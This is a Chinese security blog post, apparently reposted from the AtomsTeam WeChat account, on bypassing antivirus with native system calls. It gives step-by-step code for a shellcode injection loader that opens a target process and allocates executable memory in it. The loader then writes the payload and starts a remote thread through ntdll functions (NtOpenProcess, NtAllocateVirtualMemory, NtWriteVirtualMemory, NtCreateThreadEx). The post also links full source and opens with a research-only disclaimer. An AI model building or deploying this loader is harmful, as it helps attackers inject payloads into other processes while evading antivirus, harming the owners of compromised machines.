免责声明
请您仔细阅读以下声明:
您在AtomsTeam查看信息以及使用AtomsTeam服务,表明您对以下内容的接受:
AtomsTeam提供程序(方法)可能带有攻击性,仅供安全研究与实验性教学之用。
用户将其信息做其他用途,由用户承担全部法律及连带责任,AtomsTeam不承担任何法律及连带责任。
与此同时,希望你能遵守如下的规范,因为这能帮助你走的更远:
1.不在没有直接或间接授权的情况下,对公网的任何设施进行安全检测。
2.在测试的过程中,不做任何可能导致业务遇到干扰的动作。
3.任何的测试中,不查看与下载任何敏感的数据。
4.发现漏洞后,第一时间通过企业SRC进行报告。
5.不在目标站点使用后门类工具,如需必要的测试,请获取目标网站官方授权,测试可通过替代的方案(如webshell替换为phpinfo页面等)。
由函数执行过程来引入
这是一个简单的加载器,我们使用kernel中的VirtualAlloc函数来申请内存空间。
执行到VirtualAlloc函数后,进入函数可以看到调用了NtAllocateVirtualMemory
那么系统调用则是直接调用NtAllocateVirtualMemory,而不经过VirtualAlloc来调用的一种方式。
实现部分
这里用到如下函数
NtOpenProcess
NtAllocateVirtualMemory
NtWriteVirtualMemory
NtCreateThreadEx
这些都是R0层的函数
接下来我们详细看一下,首先从NtOpenProcess开始。
NtOpenProcess结构体如下定义
__kernel_entry NTSYSCALLAPI NTSTATUS NtOpenProcess(
[out] PHANDLE ProcessHandle,
[in] ACCESS_MASK DesiredAccess,
[in] POBJECT_ATTRIBUTES ObjectAttributes,
[in, optional] PCLIENT_ID ClientId
);
参数含义如下
第一个参数是一个HANDEL类型的指针
第二个参数是设置访问权限
第三个参数是一个POBJECT_ATTRIBUTES类型的结构体指针
第四个参数是PCLIENT_ID类型的结构体指针
微软文档
可以看到,我们需要给出OBJECT_ATTRIBUTES结构体指针和ClientID结构体指针,这两个结构体的结构如下
typedef struct _UNICODE_STRING
{
USHORT Length;
USHORT MaximumLength;
PWSTR Buffer;
} UNICODE_STRING, *PUNICODE_STRING;
typedef struct _CLIENT_ID {
PVOID UniqueProcess;
PVOID UniqueThread;
} CLIENT_ID, *PCLIENT_ID;
typedef struct _OBJECT_ATTRIBUTES
{
ULONG Length;
HANDLE RootDirectory;
PUNICODE_STRING ObjectName;
ULONG Attributes;
PVOID SecurityDescriptor;
PVOID SecurityQualityOfService;
} OBJECT_ATTRIBUTES, * POBJECT_ATTRIBUTES;
其中,_CLIENT_ID和_OBJECT_ATTRIBUTES是我们要为NtOpenProcess服务的结构体,而_UNICODE_STRING将为_OBJECT_ATTRIBUTES提供
PUNICODE_STRING类型。
接下来我们还需要一个函数,
InitializeObjectAttributes
这个函数可以初始化OBJECT_ATTRIBUTES结构,调用也很简单。
VOID InitializeObjectAttributes(
[out] POBJECT_ATTRIBUTES p,
[in] PUNICODE_STRING n,
[in] ULONG a,
[in] HANDLE r,
[in, optional] PSECURITY_DESCRIPTOR s
);
接下来是NtOpenProcess的结构体,因为是直接从ntdll中导出的,所以需要定义它
typedef NTSTATUS(NTAPI* NtOpenProcess)(
PHANDLE ProcessHandle,
ACCESS_MASK DesiredAccess,
POBJECT_ATTRIBUTES ObjectAttributes,
PCLIENT_ID ClientId
);
在结构体都定义完成后,就该去调用它了。
//初始化OBJECT_ATTRIBUTES结构体
OBJECT_ATTRIBUTES attr{};
InitializeObjectAttributes(&attr, NULL, 0, NULL, NULL);
// 初始化 CLIENT_ID 结构体
CLIENT_ID cid{};
cid.UniqueProcess = (PVOID)pid;
cid.UniqueThread = 0;
加载ntdll
HMODULE ntdll = LoadLibraryA("ntdll.dll");
//调用NtOpenProcess
NtOpenProcess pNtOpenProcess = (NtOpenProcess)GetProcAddress(ntdll, "NtOpenProcess");
pNtOpenProcess(&pThread, PROCESS_ALL_ACCESS, &attr, &cid);
NtAllocteVirtualMemory
定义如下
_Must_inspect_result_
= 0, __drv_allocatesMem(mem)) =
NTSYSCALLAPI
NTSTATUS
NTAPI
NtAllocateVirtualMemory(
_In_ HANDLE ProcessHandle,
_Inout_ _At_(*BaseAddress, _Readable_bytes_(*RegionSize) _Writable_bytes_(*RegionSize) _Post_readable_byte_size_(*RegionSize)) PVOID *BaseAddress,
_In_ ULONG_PTR ZeroBits,
_Inout_ PSIZE_T RegionSize,
_In_ ULONG AllocationType,
_In_ ULONG Protect
);
第一个参数是进程句柄
第二个参数接收已经分配的内存区域的基址
第三个参数是返回的内存区域地址高位字节中0的个数
第四个参数是要分配的内存大小的指针
第五个参数是是否保留内存
第六个参数是内存保护类型
和NtOpenProcess一样,在我们使用它之前,需要先定义结构体,结构体定义如下
typedef NTSTATUS(NTAPI* NtAllocateVirtualMemory)(
HANDLE ProcessHandle,
BaseAddress,
ULONG_PTR ZeroBits,
PSIZE_T RegionSize,
ULONG AllocationType,
ULONG Protect
);
调用它
// 分配内存空间
NtAllocateVirtualMemory pNtAllocate = (NtAllocateVirtualMemory)GetProcAddress(ntdll, "NtAllocateVirtualMemory");
PVOID address = NULL;
pNtAllocate(pThread, &address, 0, &shellcode_size, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
NtWriteVirtualMemory
该函数无微软文档,可以在这里查看
http://undocumented.ntinternals.net/index.html?page=UserMode%2FUndocumented%20Functions%2FMemory%20Management%2FVirtual%20Memory%2FNtWriteVirtualMemory.html
结构体定义
typedef NTSTATUS(NTAPI* NtWriteVirtualMemory)(
HANDLE ProcessHandle,
PVOID BaseAddress,
PVOID Buffer,
ULONG NumberOfBytesToWrite,
PULONG NumberOfBytesWritten OPTIONAL
);
第一个参数是将在内存区域写入的进程的句柄
第二个参数是要写入的内存区域开头的指针
第三个参数是要写入的数据
第四个参数是要写入的数据的大小
第五个参数为NULL即可
调用
NtWriteVirtualMemory pNtWrite = (NtWriteVirtualMemory)GetProcAddress(ntdll, "NtWriteVirtualMemory");
pNtWrite(pThread, address, unxor, shellcode_size, NULL);
NtCreateThreadEx
结构体定义
typedef NTSTATUS(NTAPI* NtCreateThreadEx)(
PHANDLE hThread,
ACCESS_MASK DesiredAccess,
PVOID ObjectAttributes,
HANDLE ProcessHandle,
PVOID lpStartAddress,
PVOID lpParameter,
ULONG Flags,
SIZE_T StackZeroBits,
SIZE_T SizeOfStackCommit,
SIZE_T SizeOfStackReserve,
PVOID lpBytesBuffer
);
第一个参数是一个HANDLE类型的指针,用于指向我们创建的线程
第二个参数是权限设定
第三个参数是可选参数,指向OBJECT_ATTRIBUTES结构体
第四个参数指向目标进程句柄
第五个参数指向新线程的起始地址
第六个参数可选,传递给起始地址的单个参数
第七个参数指定创建时的标志
第八个参数通常设置为0
第九个参数是新线程的初始堆栈大小
第十个参数是新线程的最大堆栈大小
第十一个指向PS_ATTRIBUTE_LIST参数结构体,通常为NULL
函数调用
NtCreateThreadEx pNtCreate = (NtCreateThreadEx)GetProcAddress(ntdll, "NtCreateThreadEx");
pNtCreate(&pOpen, PROCESS_ALL_ACCESS, NULL, pThread, address, NULL, 0, 0, 0, 0, NULL);
释放占用的资源句柄
CloseHandle(pThread);
CloseHandle(pOpen);
FreeLibrary(ntdll);
免杀效果
shellcode的处理在此不赘述。
源码下载
https://github.com/nezha0583/NTAPI
原文始发于微信公众号(AtomsTeam):利用系统调用绕过杀软
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论